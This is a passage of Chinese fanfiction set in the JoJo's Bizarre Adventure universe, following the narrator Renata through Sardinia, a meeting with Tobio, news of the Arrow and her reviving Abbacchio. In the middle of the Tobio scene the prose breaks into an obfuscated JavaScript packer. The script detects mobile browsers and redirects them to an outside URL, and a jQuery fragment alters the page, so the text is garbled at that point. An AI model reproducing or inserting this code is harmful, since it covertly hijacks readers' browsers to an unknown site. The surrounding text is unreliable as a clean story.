“是的。就算是我也不得不感叹,人类的意志总是超乎我的想象和理解。” 人类的意志么……我没有吭声继续看眼前的画面。 “还要继续看吗?” “看什么。” “原本的世界线应该发生的未来。” “不看白不看。” “还是别看了。” 我被气笑了:“那你还问我看不看。” “那个恶魔很危险,在原本的时间线,你所认识的这群人只有三个人活到了最后。” ?意思是原本的世界线里,我认识的这群人里就三个人活着? 老板你也太难杀了吧,难怪长的那么像恶魔的约旦河还要叫你恶魔。你不会比吉良吉影还难杀吧…… 当约旦河那坨身体逐渐恢复成人形,我从它体内出来,和已经苏醒的特莉休面面相觑。 我:“……这,额,我在和我的替身玩游戏。” 特莉休:…… 我:“你知道你爸是个混蛋人渣贱人屑逼了吧。” “……知道了。” 我点点头,走过去,摸了摸她那一头粉毛,真萌啊这个粉发,然后语重心长地说:“没事,别管你爹了,以后我来照顾你,绝对让你平平安安读到大学。” “你不是日本来的留学生吗?我以为你以后会回日本。” 我摆摆手:“那我还是意大利人呢,总之你放心,你绝对会平安无事的。如果你不介意,你以后可以住在我那不勒斯的公寓里,那附近的中学很多。啊周末我们还可以去做一些只有女孩子才可以一起做的事情,哇塞,想想看就觉得开心。” 特莉休双手环抱着她的腿:“你……为什么要对才认识不久的我那么好,你是这样,布加拉提也是这样……” 我张嘴就是胡说八道:“保护未成年,人人有责。” 特莉休笑了:“行吧,那就当是这样吧。” 她最好就这么认为吧。我总不能说我搞你爹主要原因是无法和他友好协商关于“箭”的事,所以我只能搞他。但因为他是个人渣,所以我现在弄死他可以更心安理得点。 特莉休看上去轻松了不少,我懒得跑出去,反正现在我也不饿,就瘫在沙发上发呆,摸着我腹部上的绷带…… 有点疼,再摸摸。 “你别碰你的伤口……”特莉休用不赞同的目光看着我,我只能默默收回我的手,把手藏到我背后去,闭上眼睛开始冥想。 ……怎么感觉有点吵。 我忍不住睁开眼;“特莉休,你觉不觉得……” 突然天花板上掉下一颗恶魔果实,什么难道我突然穿越到了海贼王了吗?不对……这是加丘? 加丘?!!! “加丘?!你怎么——” 加丘一把拉过我:“少废话,我们来救你啊,你腹部那是什么?哈你这个疯子不会真的和老板直接对上了吧!” 我捂住他不停喷射毒液的嘴:“救我?救什么救!” 很快我就知道了他的意思。 伊鲁索用镜子追踪我,他看到我冲进教堂,过了一会就浑身是伤被扛了出来,被丢进了乌龟里……然后他就认为我想要单杀老板被发现后,老板让布加拉提把我解决了。于是他叫上加丘和普罗修特还有贝西来救我了。 虽然很意外伊鲁索这家伙竟然有想要救我的意识,但是下次可以不用了谢谢。我不允许任何人瞧不起我的实力。 当我从乌龟壳里跳出来的时候,入目就是一片狼藉。纳兰迦和阿帕基明显老化倒在地上,近在眼前的米斯达被冻住了双腿看上去奄奄一息,福葛不知所踪,远处布加拉提和乔鲁诺似乎在和贝西还有普罗修特厮杀。 “给他们冰敷!”我把纳兰迦和阿帕基塞给加丘后,不顾身后传来的咆哮声,马上一个传送冲到了普罗修特他们的战场,大吼:“停战!不是敌人!” 被我按住的普罗修特看上去很不满:“什么意思,蕾娜塔,他们……” “你先解除你的壮烈成仁,有几个无辜的路人都要老死了啊!” 普罗修特不情不愿地解除了替身能力,我跟他解释了一下发生了什么,我看他脸色越来越黑,悄悄拉着拉住他的手,安慰式地摸了两下:“既然我们和布加拉提的敌人都是老板,那就说明我们可以合作,不是吗?” “这个时候就知道我们了?” 我被噎住了,该不会是霍尔马吉欧添油加醋说了些啥吧。这家伙就不能好好住他的院吗? 虽然一不小心把他打得那么惨是我的不对,但是他原本可是会死的唉! 贝西似乎没明白:“什么意思,大哥,我们现在要和布加拉提他们合作了吗?” “贝西,”普罗修特看上去好像被气到了,不知道是被我还是贝西,“蕾娜塔现在只是给了一种可能,还没确定下来,再说了,他们……” 为了防止普罗修特这张不饶人的嘴喷出啥东西出来,我扯着他领子,一把把他拉过来。他似乎没想到我突然的举动,有些没站稳,身子晃了一下,下意识拿手抓住我的肩膀。 我很认真地看着他那双雾蓝色的眼睛说:“拜托了,大哥。” * 最后,善良的普罗修特暂时同意了合作这件事,但他很不屑地表示“和这些人合作没有必要,他们看上去很容易就被解决了”他边说还边看向刚被乔鲁诺治疗完的米斯达。 要不是因为我看到了原本世界线里你们都那么惨烈地败给他们了,我真的会信你这番话啊喂! 无视在场大部分人不爽的眼神,我坐在了乔鲁诺身旁。 乔鲁诺乔巴纳,一个神奇的男孩。无论在什么场景,面对什么人,他都维持着一副从容不迫的面孔,拥有着他这个年龄所没有的成熟。虽然他那张脸偶尔会让我觉得心里发毛,但是很多时候他都给我一种平静的气息。 我没听布加拉提和普罗修特在那商量啥,随口问道:“说起来,之前我没有问过……你的父母是什么样的人。” 但没想到乔鲁诺很认真地回答了我:“我的妈妈和我接触比较少,我也不太了解她。至于我的父亲,我从未见到过他,我只有他的一张相片。” 说完他竟然从他的钱包里抽出了一张相片?哇,这就要见家长了吗,进度这么快真的好吗…… 等等,不对劲。 “这是你爸?”我拿着那张照片的手微微颤抖,一向完美到无懈可击的微笑差点就破功了。 乔鲁诺微笑着看我:“他是我的亲生父亲。” “亲!亲生父亲?!”我感觉我嗓子都破音了。 “没错。“ 我抓着他肩膀,使劲摇晃他:“你告诉我这个会发出wryyy怪叫,莫名其妙突然亢奋的反社会人格,为了达成自己的目的到处乱投毒,神经发疯似的把自己的妹妹变成吸血鬼的神经病,还想和自己妹妹玩骨科的变态,我的金发ptsd来源,害我与无数金发美女帅哥错过的罪魁祸首,为了争夺家产毫无道德地想害死自己的养父兄的垃圾人……是!是你爹!还很靠北的是你亲爹!” 伊鲁索在一旁很没眼力见地提醒我:“蕾娜塔你是不是一不小心把心里话都说出来了。” 但我没有心思去管这家伙了,我感觉我的世界观都破碎了:“不要哇。这家伙原来是真的存在的吗?不是假的,这么说来那个长发飘飘的美美卡兹也是真的咯,那么JOJO也是真的!但为什么JOJO会性格大变还死而复活啊,难道这也是替身能力,我搞不懂啊!给我把之前那个真善美的JOJO变回来啊!那么艾莉娜也是真的啊啊啊……” 乔鲁诺淡定地听完我的一通发言,然后突然说:“我也是giogio。” “什么?”我感觉我整个人就跟被按上了暂停键一样。 “我的全名是乔鲁诺乔巴纳。” Giorno Giovanna……giogio……jojo?! 我冲过去托住他的脸:“你你你你——” “你也是JOJO?!” 乔鲁诺似乎被我的表情给惊讶到了,他的脸被我的手挤压着,艰难地“嗯”了一声:“蕾娜塔你还认识别的giogio吗?” “不认……”我的脑子突然闪过了一个名字,东方仗助,那小子似乎…….也可以是JOJO,还有那个空条承太郎……他似乎也是JOJO? 我完美无懈可击的表情终于还是破碎了:“这什么孽缘啊!” 30.名为融合的宿命(二合一) “所以你认识乔鲁诺他老爹?” 米斯达你真聪明,竟然能从我刚刚那段恨不得把我讨厌迪奥贴在脑门上的话里发现原来我认识迪奥,你真棒。 我拍了拍他的胸肌:“我和他爹有不共戴天之仇。怎么跟你形容呢?因为他爹是金发,所以我几乎不搭讪金发。” 奇怪,他的胸肌怎么这么软,被我拍的那一下还抖了抖,我拍的也不用力啊。 米斯达好像根本没发现他刚刚被我揩油一样,起哄:“那你不喜欢乔鲁诺了?哈哈哈你这个……” 刚和布加拉提商量完的普罗修特似乎听到了一点我们的对话,他冲我挑挑眉:“你不会搭讪金发?” 我感觉大事不妙,想要阻止他继续说,但还是晚了一步,他用着非常欠揍的语气淡淡说道:“可你和我上床的时候……” 我急得立刻去捂住普罗修特那张嘴,心虚地朝不远处的阿帕基看去,确保他没听见我们这边的话。 虽然我和普罗修特上床是跟他分手三天后的事情,应该也算不上无缝衔接吧……而且我们在一起的时候,我可没在酒吧搭讪任何一个人,也没有见一个长的好看的就去揩油。我连走在路上看到美女帅哥都是目不斜视地走过去! 拜托,我可是个好女人。 可不知道为什么,我总觉得如果让他知道了我在和他分手没多久就和普罗修特滚床单,他一定会心生芥蒂,然后我的分手炮就彻彻底底胎死腹中了! 我看着普罗修特暗藏笑意的眼睛,一半脑子在想“哇他可真漂亮”,另一半脑子在想“死男人果然是故意的”。 ……服了,我就知道和普罗修特约炮是我这辈子做过的最错误的决定。 万恶的金毛心机男。 我讨厌你们。 在我把普罗修特赶走后,我觉得我有必要和我的现队友警告一下:“你刚刚什么也没听见。” “那种事没关系啦。”米斯达摆摆手,笑着问我:“原来你不会搭讪金发男,会直接睡他啊。” 米斯达你别让我逮到你的把柄……我努力挤出一个笑容:“你什么也没听到。” 他嘎嘎嘎大笑了起来,笑得眼泪都挤出来了,然后问我:“所以,乔鲁诺他爸到底做了什么,让你这么讨厌他,还顺带讨厌了金发?” “……不要勾起我的回忆了,米斯达。我不想回忆那家伙。” “哈哈哈哈我还想帮你克服一下呢,那你就讨厌一辈子的金发吧哈哈哈。” 米斯达又笑了,他是这辈子就没笑过吗?还是以后就笑不出来了吗?他今天到底笑了多久啊,不怕自己笑得太用力然后一不小心肋骨戳破肺泡吗? 但他突然瞟到乔鲁诺的脸色就没继续笑了,“抱歉啊,乔鲁诺。蕾娜塔!你因为一个人就讨厌一群人这样的习惯是不好的!” ?你在怂什么。你刚刚笑我的时候可不是这样的。 我看了眼乔鲁诺,他没有因为我说他亲爸而面露愠色,反而紧闭着双唇,绿色的眼珠子微微向下看,看着有些没精神。 不对,这个样子怎么和阿帕基每次欺负完他后的样子一模一样啊,我可没欺负他啊! 我忍不住开口:“乔……” “你不能把我和我父亲捆绑在一起。”乔鲁诺率先说,“他只是提供了精子,其它什么也没做。我可以不认他这个父亲的。” ……该说不愧是迪奥的儿子吗? 我哑口无言,只是点头。 震惊完了之后,我看着手里那张相片,总感觉有哪个地方很奇怪。 迪奥脖子那里有一块五角星标记吗?而且在我的记忆里,迪奥应该是和JOJO一起葬身大海了,他在那之前应该没有留下子嗣。更重要的是……我记忆里的画面和现在肯定不是一个时代。 那个时候的“我”一直以“格蕾丝布兰度”的身份存活,直到死前才拥有了我之前作为蕾娜塔生活的记忆。后面我作为“妮可”再次遇到性格大变的JOJO也是一样。 难道我其实是……穿越?不对,仔细一想,我作为那两个人生活的时候都是我迎来死亡的时候,而且都是有约旦河在场,而且两次都差不多是它害死我的! 靠!绝对和那个龟孙脱不开关系。 我等到大家坐上飞机准备飞往撒丁岛,阿帕基他们跑到驾驶舱去调试飞机,其它人坐在客舱那检查时,跑到了飞机的工作人员休息室,准备问约旦河到底是怎么回事。 说起来我没认真听他们讨论,还不知道为什么要去撒丁岛,不过无所谓了。 我叫出约旦河:“我觉得你应该知道我想问什么。” 约旦河那张没有五官的脸突然长出来一只眼睛,那一坨白色的□□慢慢凝聚成了一颗颗纯黑的眼珠子,然后它转了转那怪物般的张满眼珠的脸看向我。 我的妈呀这一幕真的有点辣眼睛了,能给我点精神损失费吗。 它用它伪人般的嗓音说:“早在你作为妮可的人生结束时,我就想跟你解释了……可你不让我说。” 我有些无语:“你觉得我会跟你道歉吗?快说。” “那些人,无论是格蕾丝还是妮可……都是你的同位体。她们是我抽取了你的灵魂碎片从而创造出来的血肉,同时也是你的复活手段。” “你的灵魂是不完整的,我也是。因此,镜中世界的禁令才对我无效,疯狂钻石和黄金体验才无法彻底治愈你……只有你不断融合同位体,你才能获得完整。” 我消化完它这一段话后,问道:“如果真的只是复活手段……你为什么会在我掉进水里时,等我溺死才出现?就算我不是完整形态,我也可以存活,保留更多的复活机会不是更合理吗?不要拿命运那一套来糊弄我,不管是不是为了迎合命运,我都不会原谅背叛。” 约旦河沉默了一会,才说:“人类追求灵魂的完整和人生的真实难道不是理所应当的吗?” “那你把人类想的太简单,也太高大上了。这一点也不好玩,而且我无法接受你的态度,你凭什么自说自话就认为你理解我的想法,你以为你很厉害就可以这样吗?” “因为我们是一体的。”约旦河的眼睛慢慢消失了,变回了那张扁平的脸。“无论是谁都可能会背叛你,唯独我不会。因为我们是一体的,我所做一切皆只为融合,为了让你更加强大和完整。” “无论你怎么抗拒,这一切都是命运的一环,甚至连你的反抗也是。这个世界,以及你与JOJO们的故事都是命运决定的。” 它说完就消失了。 又来这套! 但它说的那句“无论是谁都可能背叛我”倒是让我想到了点有意思的事情,老板该不会就是抱着这个心理才要弄死每一个试图探他的人吧,然后也是抱着这样的想法才想要杀死特莉休……不对,不要去试图理解神经病的思想了。 我推开机组休息室的门朝外面走去,却被特莉休叫住,她看上去很紧张:“不!不要动。” 但我眼里只有她背后的那个我没有见过的替身。这个替身以粉红色为主色调,身段纤细但强健有力,眼睛很大,长相很萌,比约旦河萌多了,也比绯红之王萌出了一个银河系的长度。 这是她的替身? 也是,血缘是很奇特的一种联系,如果老板拥有替身能力,那么特莉休没道理无法觉醒替身。 我皱眉:“你说不让我动是什么意思?” 可特莉休没有解释,只是飞速朝我冲来,我这才看见她背后有一个奇怪的怪物在追杀她,她一把把我推入门中,把我护在身后,然后那道门竟然变软了,门外的怪物无法突破这道柔软的门……难道她的替身把这扇门变成了非牛顿流体吗? 正当我这么思考的时候,她的替身开口了,这是我第一次见到除约旦河外主动说话的替身,有些惊讶,那个替身说:“柔软可是比钻石更难破坏的。” 说完,那个替身把一个闹钟变软了,即将破门而入的怪物朝着变软的闹钟奔去。然后我眼睁睁地看着那个替身拿起一根棍子,开始击杀那个怪物。 ?这个替身怎么这么帅,而且怎么感觉比疯狂钻石要更快,力气更大呢。 天赋异鼎啊,不会是遗传老板的吧。 不对,替身之间应该没有遗传的说法,不然绯红之王长这么丑,特莉休的替身却长的这么漂亮,难不成是基因突变吗。 特莉休紧张地抓着我,有点用力,把我护在身后。她似乎很紧张,双眼死死盯住刚刚那个怪物所在的地方。 其实我可以现在叫出约旦河,把那个怪物传到窗外去,但我实在好奇特莉休想怎么做,所以我默认了她想要保护我的意思,并决定如果她可以解决,那我就绝对不出手帮忙。 …… 结果我们就沦落到了要毁掉这架飞机然后迫降的地步啊! 虽然特莉休这个决定下的很明智,也确实是当下最快解决这家伙并毫无伤亡的最佳途径,但是我连飞机的座椅都还没坐过!这个飞机的后半段就这么掉下去了,可恶啊! 感觉只要我稍微往前动一下,就会和那个怪物一样的家伙掉进汪洋大海里。 我忍不住向后退,结果撞上了阿帕基。 可能是被我撞痛了,他倒吸了一口气,我刚准备抬起手尴尬地抠抠脑壳然后说声对不起,却感觉自己好像一不小心碰到了什么硬邦邦的东西…… ? 有点大,不确定,再摸摸。 “你摸够了吗。”我头顶传来阿帕基疑似恼羞成怒的声音,他后牙槽咬紧,像是被我气笑了。 我也很高情商地回复:“……我能说没吗?” 阿帕基愤怒地盯着我。我踮起脚尖小声在他耳边嘀咕:“我都和它那么熟了,碰一下怎么呢,别那么小气啊。”说着,我扯了扯他胸前的那条带子,弹了弹。 阿帕基掐住我的下巴,紫灰色的眼底藏着怒火和不爽,他俯下身子,冷笑着:“你真的以为我还和以前一样好说话吗?哼……” 我反手掐住他脖子:“你真的以为我以前没让着你吗?” “你们两个够了!我们在空降!不要玩闹!”布加拉提大声警告我们。 阿帕基立刻松手,藏起了他那双灰紫色的眼睛,低声道:“这种关头别挑事了。” 我能说什么呢,我只能说: “哦。” * 上了撒丁岛我和布加拉提他们就暂时分开了,因为普罗修特说我得和他们一起去和里苏特还有梅洛尼会面,他们也在这座岛上。 虽然我不理解为什么一定要我跟着前队友行动,不过介于我现在看到乔鲁诺还是会联想到迪奥,我点头同意了。 可恶的迪奥,他现在还活着吗?等我有空我就找找他在哪,我一定要痛扁他一顿,不然难解我的心头之恨。 “所以撒丁岛上到底有什么……喂,加丘你就不能理理我吗?” 加丘“哈”了一声,又开始跳脚:“你又不听人说话,你每次都不听人说话!我们刚刚讨论了那么久你一句话也不听!” “……这不是有布加拉提在吗。”我小声嘀咕着,往后退了点,防止加丘的口水溅到我身上。 走在前面的普罗修特转过头:“布加拉提?这和他有什么关系。” “啊,我以前还在意大利孤儿院的时候就认识他了,他早知道我那副德行了,所以稍微关照点我啦。现在才认识我,你们就庆幸着吧,小时候的我可是个非常跋扈专横的家伙,很难搞的。” 加丘骂骂咧咧地说了些意大利脏话。 啊不听不听,谁会在意吉娃娃的跳脚啊,呵呵。 在加丘版吉娃娃的叫声里,我心情愉悦地往前大步走,把他们甩到后面。我边欣赏风景,边构思等会怎么和里苏特打招呼可以吓他一下…… 紧接着我的余光就看到了一个小孩似乎即将被卡车撞上了,正当我准备去救小孩时,一个男子比我更快行动了。于是我刹住了脚,就不和人抢功德了。 结果没想到那个小鬼竟然还骂了这个好心人,然后飞快跑回了人行道。 可这个好心人就要被撞死了啊! 这个死小孩!你知道现在一个好心人有多难得一见吗?好心人可是和珍稀动物一样少见的存在啊,你害一个好心人不就等同在谋害珍稀动物吗! 我祝你下次出门遇到卡车,身边只有老板那种绝对会见死不救,说不定还会踹你一脚让你更好被卡车碾死的恶魔。 在那千钧一发之际,我一个闪现就冲到了好心人身后,手臂从他胸前一横,穿过他的胳肢窝,把他捞了过来。 我看着好心人裤腿上的溅到的污渍,唉声叹气:“你真倒霉,明明是好心,结果遇到神经病了。” 他低着头捡起他的包“嗯”了一声,又摆摆手说:“这没什么。” 错觉吗?我怎么觉得这家伙有点眼熟。 他有着一头很可爱的粉发,扎着辫子,一张小巧可爱的脸上还长着可爱的雀斑,粉红色的眼睛大大的,看上去很单纯老实还有点不自信,像是那种被丢进美国高中会成为被欺凌对象的可怜蛋。 我刚想问他我们是不是在哪里见过,一个声音就打断了我的思路:“你们两个,最近都过得很不顺吧?” 我看向声音的来源。是一个摆摊的算命师,他的摊位前还写了一次多少钱。 啊,来骗钱的。 我有叫他帮我算命吗?他就来揽客,不会是看我旁边的好心人长得很好欺负吧? 对于这种想骗我钱的骗子,我一向没有好脸色:“不然呢,你光看我的脸色,就知道我是那种遇到神经病混蛋上司的苦命人。” 好心人抬头看了我一眼,我朝他笑了笑,他马上移开眼睛,闷声说:“最近我的运气确实不好,没有一件事是顺利的……” “别那么想嘛,我不是在你快要被卡车撞死的时候来救你了吗?遇见我还不幸运啊。”我笑眯眯地拍了拍他的肩膀,他低下头去躲避和我对视。 现在的青少年又这么害羞吗?还是说这个男孩平时被欺负多了所以才不敢和人对视。 一看就不靠谱的占卜师突然说:“那位小姐,你身上的气息很不妙呢……” “嗯嗯,但我不会买护身符的,我会在危险出来前干掉危险。你需要我教你防身吗?十亿里拉一节课。” 占卜师似乎没听到我的阴阳怪气,继续说:“每个人身上都有命运轮盘留下的痕迹,但是小姐你身上完全没有……让我看看你的手吧,拜托了!我不收一分钱!” 他说着竟然直接朝我爬过来,一把握住我的手开始观察了起来。 靠,自从吉良吉影那家伙之后,我就觉得这种喜欢突然抓着人的手的家伙非常让人恶心。而且他长得还没有吉良吉影好看就更恶心了。 我想要抽出手来,可这家伙抓的太紧了,我竟然抽不出来。难道非得让我像个黑手党一样当街揍普通人吗? 我想尖叫了,这个疯癫的占卜师在干嘛?所以说我真的很讨厌神叨叨的人啊! 我突然感觉一股恶寒,忍不住回头想让好心人帮我摆脱一下这个尴尬的情况,却看见好心人微微抬着手似乎想要…… 他和我一对视上就开始慌乱地解释了:“啊,我,那个,你头发上有脏东西,我帮你取下来。” “什么脏东西?!难怪我刚刚感觉不妙。” 好心人似乎被我盯得有点紧张,说话都有点磕巴:“一个……虫子!我已经把它拍飞了。” 我感到欣慰,这世上还是好人多啊:“你真好。谢谢。” 正当我感觉我快要把手从占卜师那里抽出来时,占卜师另外一只手又握了过来,他兴奋地看着我,大叫:“我果然眼神没出问题,你的手告诉了我,你的命运有多混乱……” ……完了感觉被真的精神病患者缠上了。我讨厌精神病患者。 正当我思考该怎么无伤让那家伙别来烦我时,普罗修特的声音响起了。我发誓我这辈子都没有那么开心能够听到他的声音。 他说:“喂,蕾娜塔,你在这里干什么?” 我言简意赅:“这个大叔非要给我算命。” “现在可不能再耽误了,万一等会老板就追过来了怎么办。”普罗修特说着从西装内侧的包里掏出一把手枪,举起来对着占卜师,“我们还有事,识相点就滚开吧。” 占卜师马上收起那副神叨叨的骗人模样,松开我的手滚蛋了。 我怎么没想到威胁这一招。我果然还是太有良心了,得改改。 但我突然想到这里不仅仅只有我和普罗修特他们,还有好心人。我连忙让普罗修特收起手枪,不要吓到好心人了,然后看着好心人那双粉红色的双眼说:“不用害怕,我们不是坏人,只是在被恶人追杀,所以比较紧张啦。对了,你叫什么名字?” 他吞吞吐吐着,一副想说又不想说的样子:“……我叫威尼卡.托比欧。” 我并不介意他那副唯唯诺诺的样子,毕竟正常人都不会想和拿着枪的家伙的同伴说话吧:“我叫蕾娜塔……不知道为什么我觉得你长得很面熟唉,我们在哪见过吗?” “应该……不,绝对没有见过!”他抬起头来看着我音调突然拔高了点,突然他的瞳孔紧缩了一下,一把我拉向他那边:“小心!” 靠近托比欧时,我闻到一丝甜甜的香气,说起来乔鲁诺闻着也很香。现在的男孩都喜欢喷香水吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298737|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没让我多闻几口,快速蹲下来,用手护着地上的……虫子? 我看着他小心翼翼地保护着那条虫子到人行道边缘,他嘟起嘴:“还好你没事,人行道可是很危险的啊,刚刚差点就踩死你了……” 妈呀,竟然还维护虫子,这是什么品种的天使,能买一个吗。 加丘提醒我:“喂,蕾娜塔,不要浪费时间了。” “哦好,那么再见了托比欧,我有预感我们还会再见的。”我笑眯眯地朝好心的天使挥挥手,不知道为什么我总觉得托比欧的表情不是很和善。 或许是错觉吧。 * 我们在一个车站和里苏特还有梅洛尼会面了,梅洛尼一看到我就给了我一个大大的拥抱,然后抱着我狂蹭,我这才意识到少了两个人。 “霍尔马吉欧和伊鲁索没来?” 加丘翻了个白眼不回答我,梅洛尼假装没听到,我把目光挪向贝西,这家伙看上去有点怂我呢。贝西在我的眼神威胁下才说:“蕾娜塔,你是不是忘了……霍尔马吉欧被你打得不能动了,现在还在住院。” ……啊是有这回事来着,我差点就忘了。但这家伙恢复速度这么慢吗?还是我揍得太狠了。 里苏特把梅洛尼从我身上撕下来:“我让伊鲁索去做单独的任务。” 我“哦”了一声,跟着他们一起坐上了卡车。里苏特接下来是要去布加拉提所去的地方吗? 在车上,我悄声问梅洛尼:“我亲爱的梅洛尼,你的电脑是不是可以黑进警方政府的资料?” “当然啦,就像进自家后花园一样容易。甜心你问这个是想做什么吗?” “查一个人的资料也会很轻松吧?” “如果是普通人那肯定很轻松。像老板那样的就不行了。” “借我用用。” 梅洛尼一如既往地好说话。把他的电脑借给了我,我就坐在卡车后面开始查我想知道的那人的资料。 唉还是得感谢我和他关系好,不然我可不敢拜托他这种事。 其实我有注意到乔鲁诺他们的电脑应该也可以黑进系统,但是我觉得乔鲁诺他们一定会刨根问底,所以我一直没行动来着。 梅洛尼一定不会问我为什么,他会自己去找答案。可他无论如何也不会想到我要查找的那人的真实原因。 我开始检索关于“霍洛”的消息。 霍洛,据空条承太郎所说,他是我父亲。 但现在我怀疑,额……其实我不太愿意去相信…… 我怀疑霍洛可能就是我自己啊! 说不定他又是我的一个同位体,所以我现在正在苦哈哈地找关于霍洛的消息。因为很有可能我未来还会死一次,然后成为霍洛。我需要知道霍洛到底是怎么死的,以及他的一些经历。 当我目不转睛地搜寻着关于霍洛的消息时,突然跳出来了一个弹窗,紧接着一个声音响起: “你是谁?你为什么在查找关于霍洛的消息?” 车上的所有人都转头盯着我,我急忙大喊:“我不知道怎么回事啊?这部电脑被黑了吗?” “不!我不是来追击你们的敌人……你……你是那个和布加拉提他们一起的女孩?你为什么在查找霍洛的消息?” 在里苏特的眼神示意下,我“嗯”了一声,然后说:“我……额,从某个人那里听说到,霍洛可能是我的亲生父亲,所以我在调查他。” 电脑里的那人沉默了一会,问我:“你……你现在在撒丁岛?” “嗯。” 那人语气突然变得温和了一些:“你是在追查迪亚波罗吗?” “迪亚波罗是?” 他的语气突然变得激烈了一点:“你果然也在追查他吧,我知道的你一定会追查他的!迪亚波罗就是【热情】的老板啊!” “快切断通话!”里苏特急忙说。 但我可不想切断电话,就算这通电话可能会带来危险又如何,和老板对抗本身就足够危险了。如果这个人能够知道关于老板的消息,就点风险不算什么。 电话里头的那人马上急忙喊到:“我不是你们的敌人!我和你们一样抱着必须要打败那人的决心!我可以告诉你们,他的能力是【删除时间】!” 里苏特在听到那句话后,就愣住了,他望向我,用眼神询问我能否确认他所说的真实性。毕竟我是这里唯一一个和老板对峙后还安然无恙的人。 我点点头,肯定了他的说法,转而问道:“你还知道关于老板的什么消息?” 电话那头的人说:“你们如果要采取暗杀一定会失败的,他的绯红之王是……很强大的。不过我有一个可以打败他的可能性,你们只要和我见面就行了,来罗马吧,我会把那个可能性给你们的!” 里苏特马上说:“不对,你既然拥有可以打败老板的可能性为什么要交给我们,而且你甚至没有告诉我们这个可能性是什么?” “我已经失去战斗能力了,无法再战斗了。”电话那头的人平静地说出了他的弱点,紧接着他突然穿给我一个图像,“你们,知道这是什么吗?” 我一下子就精神了!我当然知道这是什么! 这是箭啊! 但我没有告诉任何一个人我加入热情以及背叛老板主要是为了得到箭,所以我只能假装疑惑地看向里苏特。 里苏特回答:“这是箭。射中普通人后,他要么成为替身使者,要么死。” 他转而问道:“你为什么会有箭?” “关于我的事现在不重要。” 听到这,我在心里默默竖起大拇指。没错,这家伙是谁他想干什么根本不重要,重要的是箭啊!我一定要得到它! 他继续说:“这把箭拥有秘密,迪亚波罗没有弄明白它真实用途,但是我知道!来罗马吧,我会告诉你们它的真实用途,让你们拥有超越绯红之王的力量!” 疑心重的里苏特还想说什么,我连忙抢在他之前开口:“好的,我们这就和同伴汇合然后来罗马找你!” 不等里苏特反应过来,我立刻切断了通讯。加丘看到之后炸了:“你切断通讯做什么!” 我面无表情:“时间刻不容缓,我们现在就去和布加拉提他们汇合,直接前去罗马。老板的替身能力很强,如果不是因为我和他是同类型替身,我或许也不能对抗他。我们必须抓住每一个可能性!” “你也拥有时间系的替身能力。” 里苏特,你的关注重点错啦!可恶! 我尴尬地笑了笑:“每个人都有点不能告诉别人的底牌吧?” “我没有留底牌哦,我全部告诉你了。”梅洛尼添乱地说,但他很快又补充了句:“不过甜心你防备着我们是应该的,毕竟之前我们还以为你是老板派来的监视器防备着你呢。” “啊已经死了的贝利可罗确实给我颁布过这样的任务,我每次都认真汇报了的。” “什么?!”贝西不可置信地看着我,然后又看了看普罗修特……他看普罗修特干嘛? 我很淡定地说:“但我一开始就跟里苏特坦白了,本来也想跟你们坦白的,但里苏特让我不要说。” 没错,我是故意把里苏特抖出去的,要怪就怪里苏特! 懒得和他们掰头了,我赶忙跟布加拉提打电话:“布加拉提,阿帕基不用再寻找老板的真面目了,我找到了关于老板的消息。” “他的真名是——” “迪亚波罗。” Diavolo,其意为…… “恶魔。” 我看着眼前那个躺在石头上的尸体,跌跌撞撞跑过去,不顾地上的碎石片跪了下去,伸出手触碰他胸前的那个巨大的黝黑的大洞,他失去光芒的双眼,被鲜血侵染黏作一块块的银色发丝,没有起伏的胸口。 毫无疑问,他死了。 “抱歉,蕾娜塔,但我们……” 我已经听不清布加拉提在说什么,我的眼里似乎只有那个大洞,那个结束了雷欧.阿帕基二十年人生的大洞。 我喃喃着:“他不应该这样结束的,他还没有原谅自己。人应该抱着对自己度过的这一生的感激而死,这才是最正确的死亡。” “但是……” 我旁若无人地继续说:“他是个好人,虽然好的不够彻底,可我不想他拥有这样的结局。” 约旦河似乎察觉到了我在想什么,它悄声在我脑子里警告我:“逆转生死状态是大忌。” 我的蓦然回首可以将一个物体的状态逆转回30秒前,持续时长为5秒。 30秒……足够吗? 来不及了,就现在吧: “约旦河,蓦然回首!” 31.变如脸 我使用蓦然回首将阿帕基从死神那硬生生拽回来了。 那五秒结束后,我感觉我前所未有的疲惫。治疗是乔鲁诺该做的事,于是我顶着闷痛的窒息感坐在了一旁的石头上。 约旦河冷漠地告诉我,我会为此付出代价。但有什么代价能比得过一条人命呢?无论之后我会付出怎样的代价,我都不会后悔刚刚我做的选择。 里苏特把他的肩膀借给我靠:“这就是你的隐藏能力?” 我点点头:“但我现在有点后悔了,我累死了,这样我怎么单杀老板。” “你精神能量消耗过多了,需要好好休息。”他瞥了我一眼,语气有些不明,“你当真那么恨老板?” “他或许是害死我至亲的人,我怎么能不恨呢?他还打算伤害我的朋友和自己的女儿,我无法容忍他的行为。” 谢天谢地,里苏特他放过我了。不知道我刚刚那番话他信了几分,但是我现在没心力继续应付人了。 在布加拉提的强烈要求下,我和神秘人又建立了通讯。这一次,或许是为了博取布加拉提的信任,他说了更多关于箭的事。 在很久很久以前,有一颗陨石坠落到了地球。 这颗陨石携带着未知的病毒,经这个病毒感染后,大多数人会死亡,有极少部分人会因为超凡的精神能量影响侥幸存活从而觉醒替身。 这颗陨石在多年前由一个妄图获得神的力量的人改造,将它制成了“箭”。 约旦河在听到神秘人说那个制造箭的人的事时,在我的脑子里狠狠地嘲笑:“愚蠢至极,这可不是神的力量。” 不是神的力量,那是什么东西的力量?来自外星人的科学奇迹么? 这一次,约旦河没有告诉我答案。在我的脑子里自言自语还不回答我提出的问题,它该不会以为自己很酷吧?装货。 罗马的箭的持有者说完这些话后,布加拉提认同了去找那人的建议。他认为这通电话应该已经被老板监听了,我们需要马上坐上船前往罗马。 里苏特拒绝了布加拉提提出的让一部分人进乌龟里呆着,只留两三个人在外看守的建议。 